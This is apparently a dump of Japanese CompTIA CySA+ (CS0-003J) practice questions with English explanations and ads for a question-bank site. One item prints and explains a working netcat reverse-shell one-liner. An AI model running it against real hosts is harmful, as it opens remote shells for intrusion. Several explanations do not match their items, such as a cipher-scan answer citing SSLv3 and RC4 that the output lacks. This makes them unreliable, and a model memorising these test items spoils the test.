An on-path attack is a type of man-in-the-middle attack where an attacker intercepts and modifies network traffic between two parties. In this case, someone with internal access may be performing an on-path attack by forcing users into port 80, which is used for HTTP communication, instead of port 443, which is used for HTTPS communication. This would allow the attacker to compromise the user accounts and access the company's internal portal.

質問: 76

監査担当者がサイバー犯罪に関連する証拠記録を精査している。監査担当者は、証拠の保管と調査担当者間の引き継ぎを担当していた担当者間にギャップが存在することに気づいた。以下のうち、適切に遵守されなかった証拠処理プロセスを最もよく表しているのはどれか？

- A. データ整合性の検証
- B. 保存
- C. 法的保留
- D. 保管管理記録

正解: ([正解を表示します](#))

The chain of custody is a documented history that tracks how evidence is handled, collected, transported, and preserved at every stage of the forensic investigation. If a gap exists in the record of who transferred or accessed the evidence, it could call into question the integrity and admissibility of the evidence.

* Validating data integrity (Option A) refers to ensuring that the forensic image is identical to the original data, often using cryptographic hashing, but it does not address procedural gaps in documentation.

* Preservation (Option B) involves protecting the original evidence from modification or loss but does not include logging transfers of custody.

* Legal hold (Option C) refers to a requirement to preserve data for legal proceedings, which is different from tracking evidence handling.

Thus, the correct answer is D, as chain of custody directly relates to tracking who had access to the evidence and when.

有効的な**CS0-003J**問題集はJPNTTest.com提供され、**CS0-003J**試験に合格することに役に立ちます！JPNTTest.comは今最新**CS0-003J**試験問題集を提供します。JPNTTest.com CS0-003J試験問題集はもう更新されました。ここで**CS0-003J**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-003J-mondaishu> **510**問、**30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: 77

医療施設で発生したセキュリティインシデントにおいて、権限のないユーザーが複数の患者の個人健康情報(PHI)記録をダウンロードしました。医療施設がこのインシデントに関して影響を受けた患者と連絡を取るべき最も適切な理由は次のうちどれですか？

- A. 規制要件を満たすため
- B. 利害関係者をなだめるため
- C. 法的責任を回避するため
- D. 法執行機関からの支援を得るため

正解: ([正解を表示します](#))

The correct answer is A because the incident involves PHI - protected health information. Healthcare organizations are subject to regulatory requirements such as HIPAA, and incidents involving unauthorized access to PHI commonly require regulatory reporting and notification to affected individuals.

Exact supporting extract: the Secbay CySA+ guide states that some regulations require organizations to report incidents and notify affected individuals when privacy-impacting incidents occur. It also gives the specific example of a healthcare organization experiencing a breach of patient records and explains that reporting to regulatory authorities and notifying affected individuals demonstrates compliance, accountability, and transparency.

Another exact supporting extract states that PHI includes medical records and must be protected in specific ways under HIPAA. It also states that incident response should coordinate with regulatory bodies for industries such as healthcare.

The official CompTIA CySA+ CS0-003 objectives also place this under incident response reporting and communication, including legal, public relations/customer communication, regulatory reporting, and law enforcement.

Why the other options are incorrect:

B is incorrect because patient notification is not primarily done to appease stakeholders.

C is partially related, but not the best answer. The direct reason is regulatory compliance.

D is incorrect because communicating with patients is separate from communicating with law enforcement.

質問: 78

あるユーザーが過去1週間にわたり継続的に大量のネットワーク帯域幅を消費しているとして、警告を受けました。調査の結果、セキュリティアナリストは以下のウェブサイトへのトラフィックを発見しました。

日付/時刻

URL

目的地港

バイト単位で

バイツアウト

2023年12月24日 14:00:25

youtube.com

80

450000

4587

2023年12月25日 14:09:30

translate.google.com

80

2985

3104

2023年12月25日 14:10:00

tiktok.com

443

675000

105

2023年12月25日 16:00:45

netflix.com

443

525900

295

2023年12月26日 16:30:45

grmail.com

443

1250

525984

2023年12月31日 17:30:25

office.com

443

350000

450

2023年12月31日 17:35:00

youtube.com

443

300

350000

アナリストは、以下のデータフローのうちどれを最初に調査すべきでしょうか？

A. netflix.com

- B. youtube.com
- C. tiktok.com
- D. grnail.com
- E. translate.google.com
- F. office.com

正解: ([正解を表示します](#))

- * D (" grnail.com ") is a suspicious domain that resembles " gmail.com. "
- * The high " bytes out " value (525,984 bytes) indicates potential data exfiltration.
- * Attackers often use typosquatting (e.g., " grnail.com " instead of " gmail.com ") to trick users into visiting malicious sites.

Why Not Other Options?

- * A (Netflix, B YouTube, C TikTok) # Large downloads, but expected behavior for streaming sites.
- * E (Google Translate) # Low data volume, no exfiltration risk.
- * F (Office.com) # Microsoft service, no indication of malicious activity.

Reference: CompTIA CySA+ CS0-003, Chapter 5: " Threat Intelligence and Threat Detection, " Section: " Analyzing Malicious Domains and Network Traffic. "

質問: 79

セキュリティ マネージャーは、侵入テストと演習中の会社のネットワーク インフラストラクチャの防御の両方に参加するアナリストの特別なグループを結成することを決定しました。この目標を達成するために、グループは次のどのチームを編成すべきでしょうか？

- A. 青チーム
- B. 紫チーム
- C. レッドチーム
- D. 緑チーム

正解: B ([コメントを發表する](#))

A purple team is specifically defined as a collaborative approach that combines the offensive focus of the red team (penetration testing/adversary emulation) with the defensive focus of the blue team (detection/response and defense). That matches the scenario: analysts participate in both pen testing and defending during exercises.

Exact extract (All-in-One Exam Guide):

"purple team A collaborative approach that combines the 'red team' and 'blue team.' The red team attempts to breach the organization's defenses, while the blue team responds to the simulated attacks from the red team." The Sybex Practice Tests also reinforce this definition:

Exact extract (Sybex Practice Tests):

"...the purple team combines elements of the red team and blue team."

References (CompTIA CySA+ CS0-003 documents / study guides used):

- * Mya Heath et al., CompTIA CySA+ All-in-One Exam Guide (CS0-003): purple team combines red + blue
- * Chapple/Seidl, CompTIA CySA+ Practice Tests (CS0-003): purple team combines red + blue

質問: 80

インシデント対応チームは重大なセキュリティ インシデントへの対応を終了しました。経営陣は主任アナリストに対し、学んだ教訓を含む事後報告書の提出を求めた。学んだ教訓を含める理由として最も考えられるのは次のうちどれですか？

- A. インシデント報告に関する規制要件を満たすため
- B. 他部門の責任を追及するため
- C. インシデント対応プロセスの改善点を特定するため

D. 組織のインシデント対応チームの注目すべき実践を強調するため

正解: ([正解を表示します](#))

The most likely reason to include lessons learned in an after-action report is to identify areas of improvement in the incident response process. The lessons learned process is a way of reviewing and evaluating the incident response activities and outcomes, as well as identifying and documenting any strengths, weaknesses, gaps, or best practices. Identifying areas of improvement in the incident response process can help enhance the security posture, readiness, or capability of the organization for future incidents, as well as provide feedback or recommendations on how to address any issues or challenges.

質問: 81

セキュリティ アナリストは、組織に影響を与えた新しいマルウェア ファイルを特定しました。このマルウェアは多態性があり、インターネットへの接続を必要とする条件付きトリガーが組み込まれています。CPU には少なくとも 70% のアイドル プロセスがあります。セキュリティ アナリストが組織のネットワークを侵害することなくマルウェアを効果的にレビューする方法を最もよく説明しているものは次のうちどれですか？

- A. 未使用のワークステーション上の RDP セッションを利用してマルウェアを評価します。
- B. 既存の感染した資産をネットワークから切断して利用します。
- C. セキュリティ アナリスト ワークステーション上でテスト用の仮想ホストを作成します。
- D. オンライン サービスに登録してサンドボックス環境を作成します。

正解: ([正解を表示します](#))

A sandbox environment is a safe and isolated way to analyze malware without affecting the organization's network. An online service can provide a sandbox environment without requiring the security analyst to set up a virtual host or use an RDP session. Disconnecting and using an existing infected asset is risky and may not provide accurate results. References: Malware Analysis: Steps & Examples, Dynamic Analysis

質問: 82

あるアナリストがウェブサイト进行调查し、以下の結果を出しました。

Nmap 7.92 (<https://nmap.org>) を 2022年7月21日 10:21 CDT に開始しました

insecure.org (45.33.49.119) の Nmap スキャンレポート

ホストは起動しました(遅延時間0.054秒)。

45.33.49.119 の rDNS レコード: ack.nmap.org

表示されていないもの :95個のフィルタリングされたTCPポート(応答なし)

ポートステートサービスバージョン

22/tcp open ssh OpenSSH 7.4 (プロトコル 2.0)

25/tcp smtp が閉じられました

80/tcp オープン http Apache httpd 2.4.6

113/tcp 閉鎖 ident

443/tcp オープン ssl/http Apache httpd 2.4.6

サービス情報 :ホスト issues.nmap.org

サービス検出が完了しました。誤った結果がありましたら、<https://nmap.org/submit/> までご報告ください。

Nmap完了 :1つのIPアドレス(1ホストが稼働中)を20.52秒でスキャンしました

アナリストは、この脆弱性のあるウェブサイト上のアプリケーションのバージョンを検出するために、次のうちの構文を使用しましたか？

- A. nmap-sS -T4 -F insecure.org
- B. nmap-0 insecure.org
- C. nmap-sV -T4 -F insecure.org

D. nmap-A insecure.org

正解: **C** ([コメントを發表する](#))

The analyst used the command `nmap -sV -T4 -F insecure.org` to discover the application versions on the vulnerable website. The `-sV` option in Nmap is used to perform version detection, which identifies the versions of the services running on open ports. The `-T4` option sets the timing template for faster execution, and `-F` scans only the most common ports.

質問: **83**

SOC アナリストは、デバイスのオペレーティング システムに関係なく、外部の脅威に対する保護を強化するために、すべてのエンドポイントに防御層を追加することを推奨しています。これに最もよく適合するものは次のうちどれですか

要件？

A. SIEM

B. CASB

C. SOAR

D. EDR

正解: ([正解を表示します](#))

EDR stands for Endpoint Detection and Response, which is a layer of defense that monitors endpoints for malicious activity and provides automated or manual response capabilities. EDR can protect against external threats regardless of the device's operating system, as it can detect and respond to attacks based on behavioral analysis and threat intelligence. EDR is also one of the tools that CompTIA CySA+ covers in its exam objectives. Official References:

<https://www.comptia.org/certifications/cybersecurity-analyst>

<https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

<https://resources.infosecinstitute.com/certification/cysa-plus-ia-levels/>

質問: **84**

インシデント後の分析と改善のプロセス中に組織が異なる社内部門グループを割り当てる理由として最も可能性が高いのは次のどれですか。

A. 特定の作業領域に関連するインシデント管理プロセスの欠陥を明らかにする

B. すべてのスタッフがレビュープロセスに触れ、フィードバックを提供できるようにすること

C. インシデント全体を通じて組織のプレイブックが適切に実行されたことを確認する

D. インシデント対応プロセスに関与していないスタッフのクロストレーニングを可能にする

正解: **A** ([コメントを發表する](#))

The post-incident review process helps an organization identify gaps in its response and security posture.

Assigning different departmental groups ensures that flaws in specific work areas (such as IT, HR, or legal teams) are identified and addressed.

* Option B is incorrect because not all staff need exposure; the review focuses on relevant stakeholders.

* Option C is a part of the process, but the main goal is improvement, not just playbook verification.

* Option D (cross-training) is a benefit but not the main objective.

Thus, A is the best answer because it focuses on identifying flaws in specific areas of incident management.

質問: **85**

セキュリティ アナリストは、監査プロセスのために企業のネットワーク上の定期的な脆弱性スキャンの証拠を提供する必要があります。そのような証拠を作成できるツールの例は次のうちどれですか？

A. OpenVAS

B. Burp Suite

C. Nmap

D. Wireshark

正解: ([正解を表示します](#))

OpenVAS is an open-source tool that performs comprehensive vulnerability scanning and assessment on the network. It can generate reports and evidence of the scan results, which can be used for auditing purposes.

References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 199; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 207.

質問: 86

サイバーセキュリティアナリストは、Webアプリケーションをスキャンして、スキャン対象範囲と、より詳細なスキャンを行う前にアクセスを拒否すべきURIがあるかどうかを確認する任務を負っています。以下のうち、要求されたスキャン活動の種類に最も適しているのはどれですか？

A. 認証されていないスキャン

B. ディスクリートスキャン

C. 脆弱性スキャン

D. 認証済みスキャン

正解: ([正解を表示します](#))

A discovery scan is a type of web application scanning that involves identifying active, internet-facing web applications and their URIs, without performing any intrusive or in-depth tests. This type of scan can help to understand the scope and structure of a web application before conducting more comprehensive vulnerability scans¹². References: 1: OWASP Vulnerability Scanning Tools 2: CISA Web Application Scanning

質問: 87

サイバーセキュリティ侵害に関する最近のインシデントに関する「私たちが学んだこと」というタイトルのレポートの準備を始めるのに最適な方法は次のうちどれですか？

A. レポートが対象とする読者の洗練度を判断する

B. 参考文献や情報源を最初のページに記載します。

C. レポート全体の概要を示す目次を含めます。

D. 指標を効果的に伝える配色を決定します。

正解: A ([コメントを發表する](#))

The best way to begin preparation for a report titled "What We Learned" regarding a recent incident involving a cybersecurity breach is to determine the sophistication of the audience that the report is meant for. The sophistication of the audience refers to their level of technical knowledge, understanding, or interest in cybersecurity topics. Determining the sophistication of the audience can help tailor the report content, language, tone, and format to suit their needs and expectations. For example, a report for executive management may be more concise, high-level, and business-oriented than a report for technical staff or peers.

質問: 88

電子メール クライアントを最新のパッチに更新した後、従業員の約 15% のみが電子メールを使用できるようになりました。Windows 10 ユーザーには問題は発生していませんが、Windows 11 ユーザーには継続的に問題が発生しています。変更管理チームが実行できなかったのは次のうちどれですか。

A. 実装

B. テスト

C. ロールバック

D. 検証

正解: ([正解を表示します](#))

Testing is a crucial step in any change management process, as it ensures that the change is compatible with the existing systems and does not cause any errors or disruptions. In this case, the change management team failed to test the email client patch on Windows 11 devices, which resulted in a widespread issue for the users.

Testing would have revealed the problem before the patch was deployed, and allowed the team to fix it or postpone the change.

References: 7 Reasons Why Change Management Strategies Fail and How to Avoid Them, CompTIA CySA+ CS0-003 Certification Study Guide

質問: 89

セキュリティアナリストが次の不審なアクティビティを検出しました:

`rm -f /tmp/f;mknod /tmp/fp;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f` 次のどれがアクティビティを最もよく表していますか?

- A. ネットワークピボット
- B. ホストスキャン
- C. 権限昇格
- D. リバースシェル

正解: D ([コメントを发表する](#))

The command `rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f` is a one-liner that creates a reverse shell from the target machine to the attacker's machine. It does the following steps:

*`rm -f /tmp/f` deletes any existing file named `/tmp/f`

*`mknod /tmp/f p` creates a named pipe (FIFO) file named `/tmp/f`

*`cat /tmp/f|/bin/sh -i 2>&1` reads from the pipe and executes the commands using `/bin/sh` in interactive mode, redirecting the standard error to the standard output

*`nc 10.0.0.1 1234 > tmp/f` connects to the attacker's machine at IP address 10.0.0.1 and port 1234 using netcat, and writes the output to the pipe This way, the attacker can send commands to the target machine and receive the output through the netcat connection, effectively creating a reverse shell.

References

Hack the Galaxy

Reverse Shell Cheat Sheet

質問: 90

根本原因分析を実施する最適な理由は次のうちどれですか?

- A. 根本原因分析により、適切なスケジュールが文書化されていることを確認します。
- B. 根本原因分析により、インシデントをレポート用に適切に文書化できます。
- C. 根本原因分析により、プロセスを改善するための推奨事項が作成されます。
- D. 根本原因分析により、イベントを促進した要因となる項目が特定されます。

正解: ([正解を表示します](#))

The root cause analysis identifies the contributing items that facilitated the event is the best reason for conducting a root cause analysis, as it reflects the main goal and benefit of this problem-solving approach. A root cause analysis (RCA) is a process of discovering the root causes of problems in order to identify appropriate solutions. A root cause is the core issue or factor that sets in motion the entire cause-and-effect chain that leads to the problem. A root cause analysis assumes that it is more effective to systematically prevent and solve underlying issues rather than just treating symptoms or putting out fires. A root cause analysis can be performed using various methods, tools, and techniques that help to uncover the causes of problems, such as events and causal factor analysis, change analysis, barrier analysis, or fishbone diagrams. A root cause analysis can help to improve quality, performance, safety, or efficiency by finding and eliminating the sources of problems. The other options are not as accurate as the root cause analysis identifies the contributing items that facilitated the event, as they do not capture the essence or value of conducting a root cause analysis. The root cause analysis ensures that proper timelines were documented is a possible outcome or benefit of conducting a root cause analysis, but it is not the best reason for doing so. Documenting timelines can help to establish the sequence of events and actions that led to the problem, but it does not necessarily identify or address the root causes. The root cause analysis allows the incident to be properly documented for reporting is also a possible outcome or benefit of conducting a root cause analysis, but it

is not the best reason for doing so. Documenting and reporting incidents can help to communicate and share information about problems and solutions, but it does not necessarily identify or address the root causes. The root cause analysis develops recommendations to improve the process is another possible outcome or benefit of conducting a root cause analysis, but it is not the best reason for doing so. Developing recommendations can help to implement solutions and prevent future problems, but it does not necessarily identify or address the root causes.

質問: 91

アナリストは、敵対的手法を実行する権限のあるチームに対して監視を行っています。アナリストは、使用する手法の準備を整えるために、1日に2回チームとやり取りします。アナリストは次のどのチームに所属していますか。

A. オレンジチーム

B. 青チーム

C. レッドチーム

D. 紫チーム

正解: ([正解を表示します](#))

The correct answer is A. Orange team.

An orange team is a team that is involved in facilitation and training of other teams in cybersecurity. An orange team assists the yellow team, which is the management or leadership team that oversees the cybersecurity strategy and governance of an organization. An orange team helps the yellow team to understand the cybersecurity risks and challenges, as well as the roles and responsibilities of other teams, such as the red, blue, and purple teams¹².

In this scenario, the analyst is conducting monitoring against an authorized team that will perform adversarial techniques. This means that the analyst is observing and evaluating the performance of another team that is simulating real-world attacks against the organization's systems or networks. This could be either a red team or a purple team, depending on whether they are working independently or collaboratively with the defensive team³⁴⁵.

The analyst interacts with the team twice per day to set the stage for the techniques to be used. This means that the analyst is providing guidance and feedback to the team on how to conduct their testing and what techniques to use. This could also involve setting up scenarios, objectives, rules of engagement, and success criteria for the testing. This implies that the analyst is facilitating and training the team to improve their skills and capabilities in cybersecurity¹².

Therefore, based on these descriptions, the analyst is a member of an orange team, which is involved in facilitation and training of other teams in cybersecurity.

The other options are incorrect because they do not match the role and function of the analyst in this scenario.

Option B is incorrect because a blue team is a defensive security team that monitors and protects the organization's systems and networks from real or simulated attacks. A blue team does not conduct monitoring against an authorized team that will perform adversarial techniques, but rather defends against them³⁴⁵.

Option C is incorrect because a red team is an offensive security team that discovers and exploits vulnerabilities in the organization's systems or networks by simulating real-world attacks. A red team does not conduct monitoring against an authorized team that will perform adversarial techniques, but rather performs them³⁴⁵.

Option D is incorrect because a purple team is not a separate security team, but rather a collaborative approach between the red and blue teams to improve the organization's overall security. A purple team does not conduct monitoring against an authorized team that will perform adversarial techniques, but rather works with them³⁴⁵.

References:

* 1 Infosec Color Wheel & The Difference Between Red & Blue Teams

* 2 The colors of cybersecurity - UW-Madison Information Technology

* 3 Red Team vs. Blue Team vs. Purple Team Compared - U.S. Cybersecurity

* 4 Red Team vs. Blue Team vs. Purple Team: What's The Difference? | Varonis

* 5 Red, blue, and purple teams: Cybersecurity roles explained | Pluralsight Blog

有効的な**CS0-003J**問題集はJPNTest.com提供され、**CS0-003J**試験に合格することに役に立ちます！JPNTest.comは今最新**CS0-003J**試験問題集を提供します。JPNTest.com CS0-003J試験問題集はもう更新されました。ここで**CS0-003J**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-003J-mondaishu> **510**問、**30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: **92**

ウェブアプリケーションチームがSOCアナリストに対し、公開ウェブサーバー上で数千件のHTTP/404イベントが発生していることを通知しました。アナリストが次に取るべき行動は次のうちどれですか？

- A. この外部サーバーをブロックするルールを追加する必要があることをファイアウォールエンジニアに指示してください。
- B. イベントをインシデントにエスカレーションし、SOC マネージャーにアクティビティを通知します。
- C. DDoS攻撃が発生していることをインシデント対応チームに通知します。
- D. リクエストのIPアドレス/ホスト名を特定し、関連するアクティビティを確認します。

正解: ([正解を表示します](#))

A HTTP/404 error code means that the requested page or resource was not found on the web server. This could be caused by various reasons, such as incorrect URLs, moved or deleted pages, missing assets, or server misconfigurations¹²³. The analyst should first identify the source of the requests and examine the related activity to determine if they are legitimate or malicious, and what actions need to be taken to resolve the issue.

The other options are either premature or irrelevant without further investigation. References: 1: 404 Page Not Found Error: What It Is and How to Fix It 2: 404 Error Code: What Causes Them and How To Fix It 3: About

404 errors and how to Troubleshoot it?

質問: **93**

アナリストは、新しいゼロデイ脅威に関する最近の政府警告を確認し、最も重大な脆弱性について次の CVE メトリックを発見しました。

CVSS: 3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:U/RL:W/RC:R

次のどれがこの重大な脆弱性のエクスプロイト コードの成熟度を表していますか？

- A. E:U
- B. S:C
- C. RC:R
- D. AV:N
- E. AC:L

正解: ([正解を表示します](#))

The exploit code maturity of a vulnerability is indicated by the E metric in the CVSS temporal score. The value of U means that no exploit code is available or unknown¹. The other options are not related to the exploit code maturity, but to other aspects of the vulnerability, such as attack vector, scope, availability, and complexity¹.

質問: **94**

パッチ適用は午前 2 時から午前 4 時までの間にのみ行われるというネットワーク顧客への期待を定義する文書を最もよく表しているものは次のうちどれですか？

- A. SLA
- B. 法律
- C. 覚書
- D. KPI

正解: ([正解を表示します](#))

SLA (Service Level Agreement) is the best term to describe the document that defines the expectation to network customers that patching will only occur between 2:00 a.m. and 4:00 a.m., as it reflects the agreement between a service provider and a customer that specifies the services, quality, availability, and responsibilities that are agreed upon. An SLA is a common type of document that is used in various industries and contexts, such as IT, telecom, cloud computing, or outsourcing. An SLA typically includes metrics and indicators to measure the performance and quality of the service, such as uptime, response time, or resolution time. An SLA also defines the consequences or remedies for any breaches or failures of the service, such as penalties, refunds, or credits. An SLA can help to manage customer expectations, formalize communication, improve productivity, and strengthen relationships. The other terms are not as accurate as SLA, as they describe different types of documents or concepts. LOI (Letter of Intent) is a document that outlines the main terms and conditions of a proposed agreement between two or more parties, before a formal contract is signed. An LOI is usually non-binding and expresses the intention or interest of the parties to enter into a future agreement. An LOI can help to clarify the key points of a deal, facilitate negotiations, or demonstrate commitment. MOU (Memorandum of Understanding) is a document that describes a mutual agreement or cooperation between two or more parties, without creating any legal obligations or commitments. An MOU is usually more formal than an LOI, but less formal than a contract. An MOU can help to establish a common ground, define roles and responsibilities, or outline expectations and goals. KPI (Key Performance Indicator) is a concept that refers to a measurable value that demonstrates how effectively an organization or individual is achieving its key objectives or goals. A KPI is usually quantifiable and specific, such as revenue growth, customer satisfaction, or employee retention. A KPI can help to track progress, evaluate performance, or identify areas for improvement.

質問: 95

サイバー保険を購入することで、次のリスク管理原則が達成されるのはどれですか？

- A. 受け入れる
- B. 回避
- C. 軽減する
- D. 転送

正解: ([正解を表示します](#))

Transfer is the risk management principle that is accomplished by purchasing cyber insurance. Transfer is a strategy that involves shifting the risk or its consequences to another party, such as an insurance company, a vendor, or a partner. Transfer does not eliminate the risk, but it reduces the potential impact or liability of the risk for the original party. Cyber insurance is a type of insurance that covers the losses and damages resulting from cyberattacks, such as data breaches, ransomware, denial-of-service attacks, or network disruptions.

Cyber insurance can help transfer the risk of cyber incidents by providing financial compensation, legal assistance, or recovery services to the insured party. Official References:

- * <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>
- * <https://www.comptia.org/certifications/cybersecurity-analyst>
- * <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

質問: 96

技術者は、PCI 監査用の一般的なネットワーク マッピング ツールからの出力を分析しています。

```

PORT STATE SERVICE VERSION
22/tcp open  ssh Cisco SSH 1.25 (protocol 2.0)
443/tcp open  ssl/http OpenResty web app server
|_ http-server-header: openresty
|_ ssl-enum-ciphers:
|_ TLSv1.1:
|_ ciphers:
|_ TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - F
|_ TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - F
|_ compressors:
|_ NULL
|_ cipher preference: server
|_ warnings:
|_ Insecure certificate signature (SHA1), score capped at F
|_ TLSv1.2:
|_ ciphers:
|_ TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - F
|_ TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - F
|_ TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (secp256r1) - F
|_ TLS_RSA_WITH_AES_256_CBC_SHA256 (rsa 2048) - F
|_ TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (secp256r1) - F
|_ TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - F
|_ TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 2048) - F
|_ TLS_RSA_WITH_AES_128_CBC_SHA256 (rsa 2048) - F
|_ TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - F
|_ TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - F
|_ compressors:
|_ NULL
|_ cipher preference: server
|_ warnings:
|_ Insecure certificate signature (SHA1), score capped at F
|_ least strength: F

```

出力を最もよく説明しているのは次のうちどれですか？

- A. ホストが起動していないか、応答していません。
- B. ホストは過剰な暗号スイートを実行しています。
- C. ホストは安全でない暗号スイートを許可しています。
- D. このホストの Secure Shell ポートが閉じられています

正解: ([正解を表示します](#))

The output shows the result of running the ssl-enum-ciphers script with Nmap, which is a tool that can scan web servers for supported SSL/TLS cipher suites. Cipher suites are combinations of cryptographic algorithms that are used to establish secure communication between a client and a server. The output shows the cipher suites that are supported by the server, along with a letter grade (A through F) indicating the strength of the connection. The output also shows the least strength, which is the strength of the weakest cipher offered by the server. In this case, the least strength is F, which means that the server is allowing insecure cipher suites that are vulnerable to attacks or have been deprecated. For example, the output shows that the server

supports SSLv3, which is an outdated and insecure protocol that is susceptible to the POODLE attack. The output also shows that the server supports RC4, which is a weak and broken stream cipher that should not be used.

Therefore, the best description of the output is that the host is allowing insecure cipher suites. The other descriptions are not accurate, as they do not reflect what the output shows. The host is not up or responding is incorrect, as the output clearly shows that the host is up and responding to the scan. The host is running excessive cipher suites is incorrect, as the output does not indicate how many cipher suites the host is running, only which ones it supports. The Secure Shell port on this host is closed is incorrect, as the output does not show anything about port 22, which is the default port for Secure Shell (SSH). The output only shows information about port 443, which is the default port for HTTPS.

質問: 97

違反を追跡および分析するプロセスを確立するときに、アラートの数を管理可能なレベルに保つためによく使用されるのは次のうちどれですか？

- A. ログの保存
- B. ログローテーション
- C. 最大ログサイズ
- D. しきい値

正解: ([正解を表示します](#))

A threshold value is a parameter that defines the minimum or maximum level of a metric or event that triggers an alert. For example, a threshold value can be set to alert when the number of failed login attempts exceeds

10 in an hour, or when the CPU usage drops below 20% for more than 15 minutes. By setting a threshold value, the process can filter out irrelevant or insignificant alerts and focus on the ones that indicate a potential problem or anomaly. A threshold value can help to reduce the noise and false positives in the alert system, and improve the efficiency and accuracy of the analysis¹²

質問: 98

ある企業は脆弱性管理プログラムを導入中ですが、セキュリティ チームに機密データへのアクセスを許可することに懸念があります。

a. 最も正確な脆弱性スキャン結果を提供しながら、システムへのアクセスを減らすために実装できるスキャン方法は次のうちどれですか？

- A. 認証されたネットワーク スキャン
- B. パッシブスキャン
- C. エージェントベースのスキャン
- D. ダイナミックスキャン

正解: ([正解を表示します](#))

Agent-based scanning is a method that involves installing software agents on the target systems or networks that can perform local scans and report the results to a central server or console.

Agent-based scanning can reduce the access to systems, as the agents do not require any credentials or permissions to scan the local system or network. Agent-based scanning can also provide the most accurate vulnerability scan results, as the agents can scan continuously or on-demand, regardless of the system or network status or location.

質問: 99

セキュリティアナリストが、Webサーバーに対して実行された脆弱性スキャンの以下の抜粋をレビューします。

セキュリティアナリストは、Webサーバーのセキュリティ強化のために、以下のどの推奨事項を提示すべきでしょうか？

- A. http-server-header のバージョン情報を削除します。
- B. tcp_wrappers を無効にします。
- C. /wp-login.php フォルダを削除します。
- D. ポート22を閉じます。

正解: ([正解を表示します](#))

The vulnerability scan shows that the version information is visible in the http-server-header, which can be exploited by attackers to identify vulnerabilities specific to that version. Removing or obfuscating this information can enhance security.

References: CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 4: Vulnerability Management, page 172; CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5: Vulnerability Management, page 223.

質問: 100

システム アナリストは、Windows 環境でシステム構成キーと値へのユーザー アクセスを制限しています。アナリストがこれらの構成アイテムをどこで見つけられるかを説明しているものは次のうちどれですか？

- A. 設定。Ini
- B. ntds.dit
- C. マスターブートレコード
- D. レジストリ

正解: ([正解を表示します](#))

The correct answer is D. Registry.

The registry is a database that stores system configuration keys and values in a Windows environment. The registry contains information about the hardware, software, users, and preferences of the system. The registry can be accessed and modified using the Registry Editor tool (regedit.exe) or the command-line tool (reg.exe).

The registry is organized into five main sections, called hives, which are further divided into subkeys and values.

The other options are not the best descriptions of where the analyst can find system configuration keys and values in a Windows environment. config.ini (A) is a file that stores configuration settings for some applications, but it is not a database that stores system configuration keys and values. ntds.dit (B) is a file that stores the Active Directory data for a domain controller, but it is not a database that stores system configuration keys and values. Master boot record is a section of the hard disk that contains information about the partitions and the boot loader, but it is not a database that stores system configuration keys and values.

質問: 101

ある組織が、大量のデータがネットワーク外に送信されていることに気づいた。アナリストがデータ漏洩の原因を特定している。

説明書

タブ1とタブ2の出力を生成したコマンドを選択してください。

すべてのタブの出力テキストを確認し、悪意のある動作の原因となっているファイルを特定してください。

シミュレーションの初期状態に戻したい場合は、すべてリセット」ボタンをクリックしてください。

1

2

3

4

Active Connections

Proto	Local address	Foreign address	State	PID
TCP	0.0.0.0:22	0.0.0.0:0	LISTENING	1000
TCP	0.0.0.0:23	0.0.0.0:0	LISTENING	1235
TCP	0.0.0.0:443	0.0.0.0:0	LISTENING	1466
TCP	0.0.0.0:80	0.0.0.0:0	LISTENING	1566
TCP	127.0.0.1:1960	127.0.0.1:22	ESTABLISHED	2001
[sftp.exe]				
TCP	192.168.10.21:38666	41.21.18.102:22	ESTABLISHED	3918
[sftp.exe]				
TCP	192.168.10.21:8447	66.207.110.49:https	ESTABLISHED	2677
[svchost.exe]				
TCP	192.168.10.21:55356	31.10.100.7:https	ESTABLISHED	3467
[cmd.exe]				
TCP	192.168.10.21:37654	192.168.10.37:http	ESTABLISHED	1722
TCP	192.168.10.21:55357	32.111.16.37:22	TIME_WAIT	0
[notepad.exe]				
TCP	192.168.10.21:52744	32.111.16.37:22	TIME_WAIT	0
TCP	192.168.10.21:56751	32.111.16.37:22	TIME_WAIT	0

Select the command that generated the output in tab 1:

Select command



Select the command that generated the output in tab 2:

Select command



Identify the file responsible for the malicious behavior:

- | | |
|------------------------------------|---------------------------------|
| ☐ calendar.dat | ☐ cmd.exe |
| ☐ sftp.exe | ☐ calc.exe |
| ☐ explorer.exe | ☐ users.txt |
| ☐ svchost.exe | |

1

2

3

4

Active Connections

Proto	Local address	Foreign address	State	PID
TCP	0.0.0.0:22	0.0.0.0:0	LISTENING	1000
TCP	0.0.0.0:23	0.0.0.0:0	LISTENING	1235
TCP	0.0.0.0:443	0.0.0.0:0	LISTENING	1466
TCP	0.0.0.0:80	0.0.0.0:0	LISTENING	1566
TCP	127.0.0.1:1960	127.0.0.1:22	ESTABLISHED	2001
[sftp.exe]				
TCP	192.168.10.21:38666	41.21.18.102:22	ESTABLISHED	3918
[sftp.exe]				
